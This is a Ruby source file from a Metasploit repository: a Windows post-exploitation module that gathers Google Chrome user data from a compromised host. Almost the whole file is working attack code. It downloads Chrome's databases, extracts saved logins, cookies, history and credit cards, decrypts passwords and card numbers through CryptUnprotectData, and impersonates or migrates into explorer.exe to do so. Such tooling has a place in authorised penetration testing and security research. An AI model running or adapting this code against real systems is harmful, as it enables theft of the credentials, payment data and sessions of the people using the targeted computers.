Files
metasploit-gs/modules/post/windows/gather/enum_chrome.rb
T
Michael Schierl 21f6127e29 Platform windows cleanup
Change all Platform 'windows' to 'win', as it internally is an alias
anyway and only causes unnecessary confusion to have two platform names
that mean the same.
2012-10-23 20:33:01 +02:00

283 lines
8.3 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Google Chrome User Data Enumeration",
'Description' => %q{
This module will collect user data from Google Chrome and attempt to decrypt
sensitive information.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' =>
[
'Sven Taute', #Original (Meterpreter script)
'sinn3r', #Metasploit post module
'Kx499' #x64 support
]
))
register_options(
[
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
], self.class)
end
def decrypt_data(data)
rg = session.railgun
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(1024)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
len = [data.length].pack("Q")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret["pDataOut"].unpack("Q2")
end
return "" if len == 0
decrypted = process.memory.read(addr, len)
return decrypted
end
def process_files(username)
secrets = ""
decrypt_table = Rex::Ui::Text::Table.new(
"Header" => "Decrypted data",
"Indent" => 1,
"Columns" => ["Name", "Decrypted Data", "Origin"]
)
@chrome_files.each do |item|
next if item[:sql] == nil
next if item[:raw_file] == nil
db = SQLite3::Database.new(item[:raw_file])
begin
columns, *rows = db.execute2(item[:sql])
rescue
next
end
db.close
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
item[:encrypted_fields].each do |field|
name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
origin = (res["label"] == nil) ? res["origin_url"] : res["label"]
pass = res[field + "_decrypted"] = decrypt_data(res[field])
if pass != nil and pass != ""
decrypt_table << [name, pass, origin]
secret = "#{name}:#{pass}..... #{origin}"
secrets << secret << "\n"
vprint_good("Decrypted data: #{secret}")
end
end
end
end
end
if secrets != ""
path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
print_status("Decrypted data saved in: #{path}")
end
end
def extract_data(username)
#Prepare Chrome's path on remote machine
chrome_path = @profiles_path + "\\" + username + @data_path
raw_files = {}
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
remote_path = chrome_path + '\\' + f
#Verify the path before downloading the file
begin
x = session.fs.file.stat(remote_path)
rescue
print_error("#{f} not found")
next
end
# Store raw data
local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
raw_files[f] = local_path
session.fs.file.download_file(local_path, remote_path)
print_status("Downloaded #{f} to '#{local_path}'")
end
#Assign raw file paths to @chrome_files
raw_files.each_pair do |raw_key, raw_path|
@chrome_files.each do |item|
if item[:in_file] == raw_key
item[:raw_file] = raw_path
end
end
end
return true
end
def steal_token
current_pid = session.sys.process.open.pid
target_pid = session.sys.process["explorer.exe"]
return if target_pid == current_pid
if not session.incognito
session.core.use("incognito")
if not session.incognito
print_error("Unable to load incognito")
return false
end
end
print_status("Impersonating token: #{target_pid.to_s}")
begin
session.sys.config.steal_token(target_pid)
return true
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Cannot impersonate: #{e.message.to_s}")
return false
end
end
def migrate(pid=nil)
current_pid = session.sys.process.open.pid
if pid != nil and current_pid != pid
#PID is specified
target_pid = pid
print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e.message)
return false
end
else
#No PID specified, assuming to migrate to explorer.exe
target_pid = session.sys.process["explorer.exe"]
if target_pid != current_pid
@old_pid = current_pid
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e)
return false
end
end
end
return true
end
def run
@chrome_files = [
{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"},
{ :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"},
{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"},
{ :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]},
{ :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"},
{ :raw => "", :in_file => "History", :sql => "select * from urls;"},
{ :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"},
{ :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"},
{ :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]},
{ :raw => "", :in_file => "Bookmarks", :sql => nil},
{ :raw => "", :in_file => "Preferences", :sql => nil},
]
@old_pid = nil
@host_info = session.sys.config.sysinfo
migrate_success = false
# If we can impersonate a token, we use that first.
# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
got_token = steal_token
if not got_token and datastore["MIGRATE"]
migrate_success = migrate
end
host = session.session_host
#Get Google Chrome user data path
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
os = @host_info['OS']
if os =~ /(Windows 7|2008|Vista)/
@profiles_path = sysdrive + "\\Users\\"
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
elsif os =~ /(2000|NET|XP)/
@profiles_path = sysdrive + "\\Documents and Settings\\"
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
end
#Get user(s)
usernames = []
uid = session.sys.config.getuid
if is_system?
print_status("Running as SYSTEM, extracting user list...")
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
session.fs.dir.foreach(@profiles_path) do |u|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
end
print_status "Users found: #{usernames.join(", ")}"
else
print_status "Running as user '#{uid}'..."
usernames << session.fs.file.expand_path("%USERNAME%")
end
has_sqlite3 = true
begin
require 'sqlite3'
rescue LoadError
print_error("SQLite3 is not available, and we are not able to parse the database.")
has_sqlite3 = false
end
#Process files for each username
usernames.each do |u|
print_status("Extracting data for user '#{u}'...")
success = extract_data(u)
process_files(u) if success and has_sqlite3
end
# Migrate back to the original process
if datastore["MIGRATE"] and @old_pid and migrate_success == true
print_status("Migrating back...")
migrate(@old_pid)
end
end
end